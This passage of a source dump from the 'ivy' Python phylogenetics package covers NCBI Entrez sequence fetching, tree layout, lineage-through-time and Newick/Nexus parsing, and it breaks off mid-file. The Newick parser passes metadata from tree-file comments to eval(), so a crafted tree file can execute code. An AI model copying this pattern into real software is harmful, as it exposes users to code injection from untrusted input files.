[gene]:\n                    if x.sub_features:\n                        s = [ seq[sf.location.start.position:\n                                  sf.location.end.position]\n                              for sf in x.sub_features ]\n                        return reduce(lambda x,y:x+y, s)\n                    else:\n                        loc = x.location\n                        return seq[loc.start.position-10:loc.end.position+10]\n\ndef gi2webenv(gilist):\n    h = Entrez.esearch(\n        db=\"nucleotide\", term=\" OR \".join(gilist), usehistory=\"y\",\n        retmax=len(gilist)\n        )\n    d = Entrez.read(h)\n    return d[\"WebEnv\"], d[\"QueryKey\"]\n\ndef gi2tax(gi):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.elink(dbfrom='taxonomy', db='nucleotide', from_uid=gi,\n                     LinkName='nucleotide_taxonomy')\n    r = Entrez.read(h)[0]\n    h.close()\n    i = r['LinkSetDb'][0]['Link'][0]['Id']\n    h = Entrez.efetch(db='taxonomy', id=i, retmode='xml')\n    r = Entrez.read(h)[0]\n    h.close()\n    return r\n\ndef ac2gi(ac):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.esearch(db=\"nucleotide\", term=ac, retmax=1)\n    d = Entrez.read(h)['IdList'][0]\n    h.close()\n    return d\n\ndef acsum(aclist, batchsize=100):\n    \"\"\"\n    fetch esummary info for list of accession numbers -- useful for\n    getting gi and taxids\n    \"\"\"\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    results = {}\n    for v in batch(aclist, batchsize):\n        v = list(v)\n        h = Entrez.esearch(\n            db=\"nucleotide\", retmax=len(v),\n            term=\" OR \".join([ \"%s[ACCN]\" % x for x in v ]),\n            usehistory=\"y\"\n            )\n        d = Entrez.read(h)\n        h.close()\n        # gis, but not in order of aclist\n        gis = d['IdList']\n        d = Entrez.read(Entrez.esummary(db='nucleotide', id=','.join(gis)),\n                        validate=False)\n        for x in d:\n            ac = x['Caption']\n            if ac in aclist:\n                results[ac] = x\n    return results\n\ndef fetch_aclist(aclist, batchsize=1000):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    results = {}\n    n = 0\n    for v in batch(aclist, batchsize):\n        v = list(v)\n        h = Entrez.esearch(\n            db=\"nucleotide\",\n            term=\" OR \".join([ \"%s[ACCN]\" % x for x in v ]),\n            usehistory=\"y\"\n            )\n        d = Entrez.read(h)\n        h.close()\n        h = Entrez.efetch(db=\"nucleotide\", rettype=\"gb\", retmax=len(v),\n                          webenv=d[\"WebEnv\"], query_key=d[\"QueryKey\"])\n        seqs = SeqIO.parse(h, \"genbank\")\n        for s in seqs:\n            try:\n                ac = s.annotations[\"accessions\"][0]\n                if ac in aclist:\n                    results[ac] = s\n            except:\n                pass\n        h.close()\n        n += len(v)\n        logging.info('fetched %s sequences', n)\n    return results\n\ndef fetch_gilist(gilist, batchsize=1000):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    results = {}\n    for v in batch(gilist, batchsize):\n        v = map(str, v)\n        h = Entrez.epost(db=\"nucleotide\", id=\",\".join(v), usehistory=\"y\")\n        d = Entrez.read(h)\n        h.close()\n        h = Entrez.efetch(db=\"nucleotide\", rettype=\"gb\", retmax=len(v),\n                          webenv=d[\"WebEnv\"], query_key=d[\"QueryKey\"])\n        seqs = SeqIO.parse(h, \"genbank\")\n        for s in seqs:\n            try:\n                gi = s.annotations[\"gi\"]\n                if gi in v:\n                    s.id = organism_id(s)\n                    results[gi] = s\n            except:\n                pass\n        h.close()\n    return results\n\ndef organism_id(s):\n    org = (s.annotations.get('organism') or '').replace('.', '')\n    return '%s_%s' % (org.replace(' ','_'), s.id.split('.')[0])\n\ndef fetchseq(gi):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.efetch(db=\"nucleotide\", id=str(gi), rettype=\"gb\")\n    s = SeqIO.read(h, 'genbank')\n    s.id = organism_id(s)\n    return s\n\ndef create_fastas(data, genes):\n    fastas = dict([ (g, file(g+\".fasta\", \"w\")) for g in genes ])\n    for label, seqs in data.items():\n        for gene, s in zip(genes, seqs):\n            if s and type(s) != str:\n                tag = None\n                try:\n                    tag = \"%s_%s\" % (label, s.annotations[\"accessions\"][0])\n                except:\n                    tag = \"%s_%s\" % (label, s.name)\n                if tag:\n                    fastas[gene].write(\">%s\\n%s\\n\" % (tag, s.seq))\n            else:\n                sys.stderr.write((\"error: not an accession number? \"\n                                  \"%s (%s %s)\\n\" % (s, label, gene)))\n\n    for f in fastas.values(): f.close()\n\ndef merge_fastas(fnames, name=\"merged\"):\n    outfile = file(name+\".phy\", \"w\")\n    gene2len = {}\n    d = defaultdict(dict)\n    for fn in fnames:\n        gene = fn.split(\".\")[0]\n        for rec in SeqIO.parse(file(fn), \"fasta\"):\n            #sp = \"_\".join(rec.id.split(\"_\")[:2])\n            if rec.id.startswith(\"Pedicularis\"):\n                sp = rec.id.split(\"_\")[1]\n            else:\n                sp = rec.id.split(\"_\")[0]\n            sp = \"_\".join(rec.id.split(\"_\")[:-1])\n            seq = str(rec.seq)\n            d[sp][gene] = seq\n            if gene not in gene2len:\n                gene2len[gene] = len(seq)\n\n    ntax = len(d)\n    nchar = sum(gene2len.values())\n    outfile.write(\"%s %s\\n\" % (ntax, nchar))\n    genes = list(sorted(gene2len.keys()))\n    for sp, data in sorted(d.items()):\n        s = \"\".join([ (data.get(gene) or \"\".join([\"?\"]*gene2len[gene]))\n                      for gene in genes ])\n        outfile.write(\"%s  %s\\n\" % (sp, s))\n    outfile.close()\n    parts = file(name+\".partitions\", \"w\")\n    i = 1\n    for g in genes:\n        n = gene2len[g]\n        parts.write(\"DNA, %s = %s-%s\\n\" % (g, i, i+n-1))\n        i += n\n    parts.close()\n\ndef blast_closest(fasta, e=10):\n    f = NCBIWWW.qblast(\"blastn\", \"nr\", fasta, expect=e, hitlist_size=1)\n    rec = NCBIXML.read(f)\n    d = rec.descriptions[0]\n    result = storage.Storage()\n    gi = re.findall(r'gi[|]([0-9]+)', d.title) or None\n    if gi: result.gi = int(gi[0])\n    ac = re.findall(r'gb[|]([^|]+)', d.title) or None\n    if ac: result.ac = ac[0].split(\".\")[0]\n    result.title = d.title.split(\"|\")[-1].strip()\n    return result\n\ndef blast(query, e=10, n=100, entrez_query=\"\"):\n    f = NCBIWWW.qblast(\"blastn\", \"nr\", query, expect=e, hitlist_size=n,\n                       entrez_query=entrez_query)\n    recs = NCBIXML.parse(f)\n    return recs\n    ## v = []\n    ## for d in rec.descriptions:\n    ##     result = Storage()\n    ##     gi = re.findall(r'gi[|]([0-9]+)', d.title) or None\n    ##     if gi: result.gi = int(gi[0])\n    ##     ac = re.findall(r'gb[|]([^|]+)', d.title) or None\n    ##     if ac: result.ac = ac[0].split(\".\")[0]\n    ##     result.title = d.title.split(\"|\")[-1].strip()\n    ##     v.append(result)\n    ## return v\n\ndef start_codons(seq):\n    i = seq.find('ATG')\n    while i != -1:\n        yield i\n        i = seq.find('ATG', i+3)\n\ndef search_taxonomy(q):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.esearch(db=\"taxonomy\", term=q)\n    return Entrez.read(h)['IdList']\n\ndef fetchtax(taxid):\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    n = 1\n    if not isinstance(taxid, int):\n        # string, possibly with multiple values?\n        try:\n            taxid = taxid.strip()\n            n = taxid.count(',') + 1\n        except AttributeError:\n            # iterable of values?\n            try:\n                n = len(taxid)\n                taxid = ','.join(map(str, taxid))\n            except TypeError:\n                pass\n    else:\n        taxid = str(taxid)\n    h = Entrez.efetch(db='taxonomy', id=taxid, retmode='xml', retmax=n)\n    if n == 1:\n        r = Entrez.read(h)[0]\n    else:\n        # a list of taxonomy results in same order of taxids\n        r = Entrez.read(h)\n    return r\n\n__FIRST = re.compile('[^-]')\n__LAST = re.compile('[-]*$')\ndef trimpos(rec):\n    'return the positions of the first and last ungapped base'\n    s = rec.seq.tostring()\n    first = __FIRST.search(s).start()\n    last = __LAST.search(s).start()-1\n    return (first, last)\n\ndef fetch_DNA_seqs(terms, maxn=10000, batchsize=1000):\n    \"\"\"\n    terms: sequence of search terms, quoted appropriately, with Entrez\n           specifiers, e.g. ['\"Mus musculus\"[organism]']\n    maxn: maximum number of sequences to return\n    returns list of SeqRecord objects\n    \"\"\"\n    global email\n    assert email, \"set email!\"\n    Entrez.email = email\n    h = Entrez.esearch(db=\"nucleotide\", term=\" OR \".join(terms), usehistory=\"y\")\n    d = Entrez.read(h)\n    env = d['WebEnv']; key = d['QueryKey']\n    N = int(d['Count'])\n    if maxn: N = min(N, maxn)\n    logging.info('fetching %s sequences', N)\n    retstart = 0\n    seqs = []\n    n = 0\n    while n < N:\n        h = Entrez.efetch(\n            db=\"nucleotide\", rettype='gb', webenv=env, query_key=key,\n            retstart=retstart, retmax=batchsize\n            )\n        v = list(SeqIO.parse(h, \"genbank\"))\n        n += len(v)\n        logging.info('...fetched %s', n)\n        seqs.extend(v)\n        retstart += batchsize\n    logging.info('...done')\n    return seqs\n\ndef seqrec_taxid(seqrec):\n    \"extract the NCBI taxon id from a sequence record\"\n    for ft in seqrec.features:\n        if ft.type == 'source':\n            break\n    try:\n        for x in ft.qualifiers['db_xref']:\n            if x.startswith('taxon:'):\n                return int(x.split(':')[1])\n    except:\n        pass\n", "ivy/interactive.py": "#!/usr/bin/env ipython\n# -*- coding: utf-8 -*-\n\"\"\"\nAdds to the interactive IPython/pylab environment\n\"\"\"\nimport sys, os, re\nfrom . import tree, align\nfrom . import vis\n\ndef readtree(data, *args, **kwargs):\n    return tree.read(data, *args, **kwargs)\n\ndef readaln(data, *args, **kwargs):\n    return align.read(data, *args, **kwargs)\n\ndef treefig(*args, **kwargs):\n    if len(args) == 1:\n        fig = vis.TreeFigure(args[0], **kwargs)\n    else:\n        fig = vis.MultiTreeFigure(**kwargs)\n        for arg in args:\n            # print arg\n            fig.add(arg)\n    fig.show()\n    return fig\n\ndef alnfig(*args, **kwargs):\n    return vis.AlignmentFigure(*args, **kwargs)\n\ndef __maketree(self, s):\n    words = s.split()\n    treename = \"root\"\n    fname = None\n    if words:\n        treename = words.pop(0)\n        if words and os.path.isfile(words[0]):\n            fname = words.pop(0)\n\n    if not fname:\n        ## msg = \"\\n\".join([\n        ##     \"Name of tree file\",\n        ##     \"(Try dragging one into the terminal):\\n\"\n        ##     ])\n        msg = \"Enter the name of a tree file or a newick string:\\n\"\n        fname = raw_input(msg).strip()\n\n    quotes = [\"'\", '\"']\n    if fname and fname[0] in quotes:\n        fname = fname[1:]\n    if fname and fname[-1] in quotes:\n        fname = fname[:-1]\n    if fname:\n        try:\n            ## root = ivy.tree.read(fname)\n            ## IPython.ipapi.get().to_user_ns({treename:root})\n            cmd = \"%s = ivy.tree.read('%s')\" % (treename, fname)\n            get_ipython().ex(cmd)\n            print(\"Tree parsed and assigned to variable '%s'\" % treename)\n        except:\n            print(\"Unable to parse tree file '%s'\" % fname)\n    else:\n        print(\"Cancelled\")\n\ndef __node_completer(self, event):\n    symbol = event.symbol\n    s = event.line\n    if symbol:\n        s = s[:-len(symbol)]\n    quote = \"\"\n    if s and s[-1] in [\"'\", '\"']:\n        quote = s[-1]\n        s = s[:-1]\n    #base = (re.findall(r'(\\w+)\\[\\Z', s) or [None])[-1]\n    base = \"\".join((re.findall(r'(\\w+\\.\\w*)?(\\.)?(\\w+)\\[\\Z', s) or [\"\"])[-1])\n    ## print \"symbol:\", symbol\n    ## print \"line:\", event.line\n    ## print \"s:\", s\n    ## print \"quote:\", quote\n    ## print \"base:\", base\n    ## print \"obj:\", self._ofind(base).get(\"obj\")\n\n    obj = None\n    if base:\n        obj = self._ofind(base).get(\"obj\")\n    ## print '\\n'\n    ## print 'base', base\n    ## print 'obj', obj\n    if obj and isinstance(obj, tree.Node):\n        completions = [\"'\"]\n        if quote:\n            completions = sorted([ x.label for x in obj.labeled() ])\n        return completions\n\n    raise IPython.core.error.TryNext()\n\ntry:\n    ## import IPython\n    IP = get_ipython() #IPython.ipapi.get()\n    IP.magic('matplotlib')\n    if IP:\n        #IP.expose_magic(\"maketree\", __maketree)\n        # IP.define_magic(\"maketree\", __maketree)\n        ## IP.set_hook(\n        ##     \"complete_command\", __node_completer, re_key=r'\\[*'\n        ##     )\n        IP.set_hook(\n            \"complete_command\", __node_completer,\n            re_key='.+[[]([\\']|[\"])*\\w*$'\n            )\n\nexcept:\n    print(sys.exc_info()[0])\n    sys.stderr.write(\"Magic commands and completers requires IPython >= 0.11\\n\")\n\n## if __name__ == \"__main__\":\n##     if len(sys.argv) > 1:\n##         for fname in sys.argv[1:]:\n##             if os.path.isfile(fname):\n##                 execfile(fname)\n", "ivy/layout.py": "\"\"\"\nlayout nodes in 2d space\n\nThe function of interest is `calc_node_positions` (aka nodepos)\n\"\"\"\nfrom __future__ import print_function\nimport numpy\n\nclass Coordinates:\n    \"\"\"\n    Coordinates class for storing xy coordinates\n    \"\"\"\n    def __init__(self, x=0, y=0):\n        self.x = x\n        self.y = y\n\n    def __repr__(self):\n        return \"Coordinates(%g, %g)\" % (self.x, self.y)\n\n    def point(self):\n        return (self.x, self.y)\n\ndef smooth_xpos(node, n2coords):\n    \"\"\"\n    RR: What does smoothing do? -CZ\n    \"\"\"\n    if not node.isleaf:\n        children = node.children\n        for ch in children:\n            smooth_xpos(ch, n2coords)\n\n        if node.parent:\n            px = n2coords[node.parent].x\n            cx = min([ n2coords[ch].x for ch in children ])\n            n2coords[node].x = (px + cx)/2.0\n\ndef depth_length_preorder_traversal(node, n2coords=None, isroot=False):\n    \"\"\"\n    Calculate node depth (root = depth 0) and length to root\n\n    Args:\n       node (Node): A node object\n\n    Returns:\n        dict: Mapping of nodes to coordinate objects. Coordinate\n             objects have attributes \"depth\" and \"length_to_root\"\n    \"\"\"\n    if n2coords is None:\n        n2coords = {}\n    coords = n2coords.get(node) or Coordinates()\n    coords.node = node\n    if (not node.parent) or isroot:\n        coords.depth = 0\n        coords.length_to_root = 0.0\n    else:\n        try:\n            p = n2coords[node.parent]\n            coords.depth = p.depth + 1\n            coords.length_to_root = p.length_to_root + (node.length or 0.0)\n        except KeyError:\n            print(node.label, node.parent.label)\n        except AttributeError:\n            coords.depth = 0\n            coords.length_to_root = 0\n    n2coords[node] = coords\n\n    for ch in node.children:\n        depth_length_preorder_traversal(ch, n2coords, False)\n\n    return n2coords\n\ndef calc_node_positions(node, width, height,\n                        lpad=0, rpad=0, tpad=0, bpad=0,\n                        scaled=True, smooth=True, n2coords=None):\n    \"\"\"\n    Calculate where nodes should be positioned in 2d space for drawing a tree\n\n    Args:\n        node (Node): A (root) node\n        width (float): The width of the canvas\n        height (float): The height of the canvas\n        lpad, rpad, tpad, bpad (float): Padding on the edges of the canvas.\n                                Optional, defaults to 0.\n        scaled (bool): Whether or not the tree is scaled. Optional, defaults to\n                True.\n        smooth (bool): Whether or not to smooth the tree. Optional, defaults to\n                True.\n    Returns:\n        dict: Mapping of nodes to Coordinates object\n    Notes:\n        Origin is at upper left\n    \"\"\"\n    width -= (lpad + rpad)\n    height -= (tpad + bpad)\n\n    if n2coords is None:\n        n2coords = {}\n    depth_length_preorder_traversal(node, n2coords=n2coords)\n    leaves = node.leaves()\n    nleaves = len(leaves)\n    maxdepth = max([ n2coords[lf].depth for lf in leaves ])\n    unitwidth = width/float(maxdepth)\n    unitheight = height/(nleaves-1.0)\n\n    xoff = (unitwidth * 0.5)\n    yoff = (unitheight * 0.5)\n\n    if scaled:\n        maxlen = max([ n2coords[lf].length_to_root for lf in leaves ])\n        scale = width/maxlen\n\n    for i, lf in enumerate(leaves):\n        c = n2coords[lf]\n        c.y = i * unitheight\n        if not scaled:\n            c.x = width\n        else:\n            c.x = c.length_to_root * scale\n\n    for n in node.postiter():\n        c = n2coords[n]\n        if (not n.isleaf) and n.children:\n            children = n.children\n            ymax = n2coords[children[0]].y\n            ymin = n2coords[children[-1]].y\n            c.y = (ymax + ymin)/2.0\n            if not scaled:\n                c.x = min([ n2coords[ch].x for ch in children ]) - unitwidth\n            else:\n                c.x = c.length_to_root * scale\n\n    if (not scaled) and smooth:\n        for i in range(10):\n            smooth_xpos(node, n2coords)\n\n    for coords in n2coords.values():\n        coords.x += lpad\n        coords.y += tpad\n\n    for n, coords in n2coords.items():\n        if n.parent:\n            p = n2coords[n.parent]\n            coords.px = p.x; coords.py = p.y\n        else:\n            coords.px = None; coords.py = None\n\n    return n2coords\n\nnodepos = calc_node_positions\n\ndef cartesian(node, xscale=1.0, leafspace=None, scaled=True, n2coords=None,\n              smooth=0, array=numpy.array, ones=numpy.ones, yunit=None):\n    \"\"\"\n    RR: What is the difference between this function and calc_node_positions?\n        Is it being used anywhere? -CZ\n    \"\"\"\n\n    if n2coords is None:\n        n2coords = {}\n\n    depth_length_preorder_traversal(node, n2coords, True)\n    leaves = node.leaves()\n    nleaves = len(leaves)\n\n    # leafspace is a vector that should sum to nleaves\n    if leafspace is None:\n        try: leafspace = [ float(x.leafspace) for x in leaves ]\n        except: leafspace = numpy.zeros((nleaves,))\n    assert len(leafspace) == nleaves\n    #leafspace = array(leafspace)/(sum(leafspace)/float(nleaves))\n\n    maxdepth = max([ n2coords[lf].depth for lf in leaves ])\n    depth = maxdepth * xscale\n    #if not yunit: yunit = 1.0/nleaves\n    yunit = 1.0\n\n    if scaled:\n        maxlen = max([ n2coords[lf].length_to_root for lf in leaves ])\n        depth = maxlen\n\n    y = 0\n    for i, lf in enumerate(leaves):\n        c = n2coords[lf]\n        yoff = 1 + (leafspace[i] * yunit)\n        c.y = y + yoff*0.5\n        y += yoff\n        if not scaled:\n            c.x = depth\n        else:\n            c.x = c.length_to_root\n\n    for n in node.postiter():\n        c = n2coords[n]\n        if not n.isleaf:\n            children = n.children\n            v = [n2coords[children[0]].y, n2coords[children[-1]].y]\n            v.sort()\n            ymin, ymax = v\n            c.y = (ymax + ymin)/2.0\n            if not scaled:\n                c.x = min([ n2coords[ch].x for ch in children ]) - 1.0\n            else:\n                c.x = c.length_to_root\n\n    if not scaled:\n        for i in range(smooth):\n            smooth_xpos(node, n2coords)\n\n    return n2coords\n\nif __name__ == \"__main__\":\n    import tree\n    node = tree.read(\"(a:3,(b:2,(c:4,d:5):1,(e:3,(f:1,g:1):2):2):2);\")\n    for i, n in enumerate(node.iternodes()):\n        if not n.isleaf:\n            n.label = \"node%s\" % i\n    node.label = \"root\"\n    n2c = calc_node_positions(node, width=10, height=10, scaled=True)\n\n    from pprint import pprint\n    pprint(n2c)\n", "ivy/ltt.py": "\"\"\"\nCompute lineages through time\n\"\"\"\nimport numpy\n\n# RR: Should results be set to None and then defined in the function to avoid\n# problems with mutable defaults in functions? -CZ\ndef traverse(node, t=0, results=[]):\n    \"\"\"\n    Recursively traverse the tree and collect information about when\n    nodes split and how many lineages are added by its splitting.\n    \"\"\"\n    if node.children:\n        ## if not node.label:\n        ##     node.label = str(node.id)\n        results.append((t, len(node.children)-1))\n        for child in node.children:\n            traverse(child, t+child.length, results)\n    return results\n\ndef ltt(node):\n    \"\"\"\n    Calculate lineages through time.  The tree is assumed to be an\n    ultrametric chronogram (extant leaves, with branch lengths\n    proportional to time).\n\n    Args:\n        node (Node): A node object. All nodes should have branch lengths.\n\n    Returns:\n        tuple: (times, diversity) - 1D-arrays containing the results.\n    \"\"\"\n    v = traverse(node) # v is a list of (time, diversity) values\n    v.sort()\n    # for plotting, it is easiest if x and y values are in separate\n    # sequences, so we create a transposed array from v\n    times, diversity = numpy.array(v).transpose()\n    return times, diversity.cumsum()\n\ndef test():\n    import newick, ascii\n    n = newick.parse(\"(((a:1,b:2):3,(c:3,d:1):1,(e:0.5,f:3):2.5):1,g:4);\")\n    v = ltt(n)\n    print(ascii.render(n, scaled=1))\n    for t, n in v:\n        print(t, n)\n\nif __name__ == \"__main__\":\n    test()\n", "ivy/newick.py": "\"\"\"\nParse newick strings.\n\nThe function of interest is `parse`, which returns the root node of\nthe parsed tree.\n\"\"\"\nfrom __future__ import print_function, absolute_import, division, unicode_literals\nimport string, sys, re, shlex, itertools\ntry:\n    from cStringIO import StringIO\nexcept:\n    from io import StringIO\n\n## def read(s):\n##     try:\n##         s = file(s).read()\n##     except:\n##         try:\n##             s = s.read()\n##         except:\n##             pass\n##     return parse(s)\n\nLABELCHARS = '-.|/?#&'\nMETA = re.compile(r'([^,=\\s]+)\\s*=\\s*(\\{[^=}]*\\}|\"[^\"]*\"|[^,]+)?')\n\ndef add_label_chars(chars):\n    global LABELCHARS\n    LABELCHARS += chars\n\nclass Error(Exception):\n    pass\n\nclass Tokenizer(shlex.shlex):\n    \"\"\"Provides tokens for parsing newick strings.\"\"\"\n    def __init__(self, infile):\n        global LABELCHARS\n        shlex.shlex.__init__(self, infile, posix=False)\n        self.commenters = ''\n        self.wordchars = self.wordchars+LABELCHARS\n        self.quotes = \"'\"\n\n    def parse_embedded_comment(self):\n        ws = self.whitespace\n        self.whitespace = \"\"\n        v = []\n        while 1:\n            token = self.get_token()\n            if token == '':\n                sys.stdout.write('EOF encountered mid-comment!\\n')\n                break\n            elif token == ']':\n                break\n            elif token == '[':\n                self.parse_embedded_comment()\n            else:\n                v.append(token)\n        self.whitespace = ws\n        return \"\".join(v)\n        ## print \"comment:\", v\n\ndef parse(data, ttable=None, treename=None):\n    \"\"\"\n    Parse a newick string.\n\n    Args:\n        data: Any file-like object that can be coerced into shlex, or\n          a string (converted to StringIO)\n        ttable (dict): Mapping of node labels in the newick string\n          to other values.\n\n    Returns:\n        Node: The root node.\n    \"\"\"\n    from .tree import Node\n\n    if isinstance(data, str):\n        data = StringIO(data)\n\n    start_pos = data.tell()\n    tokens = Tokenizer(data)\n\n    node = None; root = None\n    lp=0; rp=0; rooted=1\n\n    previous = None\n\n    ni = 0  # node id counter (preorder) - zero-based indexing\n    li = 0  # leaf index counter\n    ii = 0  # internal node index counter\n    pi = 0  # postorder sequence\n    while 1:\n        token = tokens.get_token()\n        #print token,\n        if token == ';' or token == tokens.eof:\n            assert lp == rp, \\\n                   \"unbalanced parentheses in tree description: (%s, %s)\" \\\n                   % (lp, rp)\n            break\n\n        # internal node\n        elif token == '(':\n            lp = lp+1\n            newnode = Node()\n            newnode.ni = ni; ni += 1\n            newnode.isleaf = False\n            newnode.ii = ii; ii += 1\n            newnode.treename = treename\n            if node:\n                if node.children: newnode.left = node.children[-1].right+1\n                else: newnode.left = node.left+1\n                node.add_child(newnode)\n            else:\n                newnode.left = 1; newnode.right = 2\n            newnode.right = newnode.left+1\n            node = newnode\n\n        elif token == ')':\n            rp = rp+1\n            node = node.parent\n            node.pi = pi; pi += 1\n            if node.children:\n                node.right = node.children[-1].right + 1\n\n        elif token == ',':\n            node = node.parent\n            if node.children:\n                node.right = node.children[-1].right + 1\n\n        # branch length\n        elif token == ':':\n            token = tokens.get_token()\n            if token == '[':\n                node.length_comment = tokens.parse_embedded_comment()\n                token = tokens.get_token()\n\n            if not (token == ''):\n                try: brlen = float(token)\n                except ValueError as exc:\n                    raise ValueError(\n                        \"invalid literal for branch length, '{}'\".format(token))\n            else:\n                raise Error('unexpected end-of-file (expecting branch length)')\n\n            node.length = brlen\n        # comment\n        elif token == '[':\n            node.comment = tokens.parse_embedded_comment()\n            if node.comment[0] == '&':\n                # metadata\n                meta = META.findall(node.comment[1:])\n                if meta:\n                    for k, v in meta:\n                        v = eval(v.replace('{','(').replace('}',')'))\n                        node.meta[k] = v\n\n        # leaf node or internal node label\n        else:\n            if previous != ')': # leaf node\n                if ttable:\n                    try:\n                        ttoken = (ttable.get(int(token)) or\n                                  ttable.get(token))\n                    except ValueError:\n                        ttoken = ttable.get(token)\n                    if ttoken:\n                        token = ttoken\n                newnode = Node()\n                newnode.ni = ni; ni += 1\n                newnode.pi = pi; pi += 1\n                newnode.label = \"_\".join(token.split()).replace(\"'\", \"\")\n                newnode.isleaf = True\n                newnode.li = li; li += 1\n                if node.children: newnode.left = node.children[-1].right+1\n                else: newnode.left = node.left+1\n                newnode.right = newnode.left+1\n                newnode.treename = treename\n                node.add_child(newnode)\n                node = newnode\n            else: # label\n                if ttable:\n                    node.label = ttable.get(token, token)\n                else:\n                    node.label = token\n\n        previous = token\n    node.isroot = True\n    return node\n\n## def string(node, length_fmt=\":%s\", end=True, newline=True):\n##     \"Recursively create a newick string from node.\"\n##     if not node.isleaf:\n##         node_str = \"(%s)%s\" % \\\n##                    (\",\".join([ string(child, length_fmt, False, newline) \\\n##                                for child in node.children ]),\n##                     node.label or \"\"\n##                     )\n##     else:\n##         node_str = \"%s\" % node.label\n\n##     if node.length is not None:\n##         length_str = length_fmt % node.length\n##     else:\n##         length_str = \"\"\n\n##     semicolon = \"\"\n##     if end:\n##         if not newline:\n##             semicolon = \";\"\n##         else:\n##             semicolon = \";\\n\"\n##     s = \"%s%s%s\" % (node_str, length_str, semicolon)\n##     return s\n\n## def from_nexus(infile, bufsize=None):\n##     bufsize = bufsize or 1024*5000\n##     TTABLE = re.compile(r'\\btranslate\\s+([^;]+);', re.I | re.M)\n##     TREE = re.compile(r'\\btree\\s+([_.\\w]+)\\s*=[^(]+(\\([^;]+;)', re.I | re.M)\n##     s = infile.read(bufsize)\n##     ttable = TTABLE.findall(s) or None\n##     if ttable:\n##         items = [ shlex.split(line) for line in ttable[0].split(\",\") ]\n##         ttable = dict([ (k, v.replace(\" \", \"_\")) for k, v in items ])\n##     trees = TREE.findall(s)\n##     ## for i, t in enumerate(trees):\n##     ##     t = list(t)\n##     ##     if ttable:\n##     ##         t[1] = \"\".join(\n##     ##             [ ttable.get(x, \"_\".join(x.split()).replace(\"'\", \"\"))\n##     ##               for x in shlex.shlex(t[1]) ]\n##     ##             )\n##     ##     trees[i] = t\n##     ## return trees\n##     return ttable, trees\n\ndef parse_ampersand_comment(s):\n    import pyparsing\n    pyparsing.ParserElement.enablePackrat()\n    from pyparsing import Word, Literal, QuotedString, CaselessKeyword, \\\n         OneOrMore, Group, Optional, Suppress, Regex, Dict\n    word = Word(string.ascii_letters+string.digits+\"%_\")\n    key = word.setResultsName(\"key\") + Suppress(\"=\")\n    single_value = (Word(string.ascii_letters+string.digits+\"-.\") |\n                    QuotedString(\"'\") |\n                    QuotedString('\"'))\n    range_value = Group(Suppress(\"{\") +\n                        single_value.setResultsName(\"min\") +\n                        Suppress(\",\") +\n                        single_value.setResultsName(\"max\") +\n                        Suppress(\"}\"))\n    pair = (key + (single_value | range_value).setResultsName(\"value\"))\n    g = OneOrMore(pair)\n    d = []\n    for x in g.searchString(s):\n        v = x.value\n        if isinstance(v, str):\n            try: v = float(v)\n            except ValueError: pass\n        else:\n            try: v = map(float, v.asList())\n            except ValueError: pass\n        d.append((x.key, v))\n    return d\n\n# def test_parse_comment():\n#     v = ((\"height_median=1.1368683772161603E-13,height=9.188229043880098E-14,\"\n#           \"height_95%_HPD={5.6843418860808015E-14,1.7053025658242404E-13},\"\n#           \"height_range={0.0,2.8421709430404007E-13}\"),\n#          \"R\", \"lnP=-154.27154502342688,lnP=-24657.14341301901\",\n#          'states=\"T-lateral\"')\n#     for s in v:\n#         print \"input:\", s\n#         print dict(parse_ampersand_comment(s))\n", "ivy/nexus.py": "from __future__ import print_function\nimport itertools\nfrom . import newick\n\nclass Newick(object):\n    \"\"\"\n    convenience class for storing the results of a newick tree\n    record from a nexus file, as parsed by newick.nexus_iter\n    \"\"\"\n    def __init__(self, parse_results=None, ttable={}):\n        self.name = \"\"\n        self.comment = \"\"\n        self.root_comment = \"\"\n        self.newick = \"\"\n        self.ttable = ttable\n        if parse_results: self.populate(parse_results)\n\n    def populate(self, parse_results, ttable={}):\n        self.name = parse_results.tree_name\n        self.comment = parse_results.tree_comment\n        self.root_comment = parse_results.root_comment\n        self.newick = parse_results.newick\n        if ttable: self.ttable = ttable\n\n    def parse(self, newick=newick):\n        assert self.newick\n        self.root = newick.parse(\n            self.newick, ttable=self.ttable, treename=self.name\n            )\n        return self.root\n\ndef fetchaln(fname):\n    \"\"\"Fetch alignment\"\"\"\n    from Bio.Nexus import Nexus\n    n = Nexus.Nexus(fname)\n    return n\n\ndef split_blocks(infile):\n    try:\n        from cStringIO import StringIO\n    except:\n        from io import StringIO\n    dropwhile = itertools.dropwhile; takewhile = itertools.takewhile\n    blocks = []\n    not_begin = lambda s: not s.lower().startswith(\"begin\")\n    not_end = lambda s: not s.strip().lower() in (\"end;\", \"endblock;\")\n    while 1:\n        f = takewhile(not_end, dropwhile(not_begin, infile))\n        try:\n            b = f.next().split()[-1][:-1]\n            blocks.append((b, StringIO(\"\".join(list(f)))))\n        except StopIteration:\n            break\n    return blocks\n\ndef parse_treesblock(infile):\n    import string\n    from pyparsing import Optional, Word, Regex, CaselessKeyword, Suppress\n    from pyparsing import QuotedString\n    comment = Optional(Suppress(\"[&\") + Regex(r'[^]]+') + Suppress(\"]\"))\n    name = Word(alphanums+\"_\") | QuotedString(\"'\")\n    newick = Regex(r'[^;]+;')\n    tree = (CaselessKeyword(\"tree\").suppress() +\n            Optional(\"*\").suppress() +\n            name.setResultsName(\"tree_name\") +\n            comment.setResultsName(\"tree_comment\") +\n            Suppress(\"=\") +\n            comment.setResultsName(\"root_comment\") +\n            newick.setResultsName(\"newick\"))\n    ## treesblock = Group(beginblock +\n    ##                    Optional(ttable.setResultsName(\"ttable\")) +\n    ##                    Group(OneOrMore(tree)) +\n    ##                    endblock)\n\n    def parse_ttable(f):\n        ttable = {}\n        while True:\n            s = f.next().strip()\n            if s.lower() == \";\":\n                break\n            if s[-1] in \",;\":\n                s = s[:-1]\n            k, v = s.split()\n            ttable[k] = v\n            if s[-1] == \";\":\n                break\n        return ttable\n\n    ttable = {}\n    while True:\n        try:\n            s = infile.next().strip()\n        except StopIteration:\n            break\n        if s.lower() == \"translate\":\n            ttable = parse_ttable(infile)\n            # print(\"ttable: 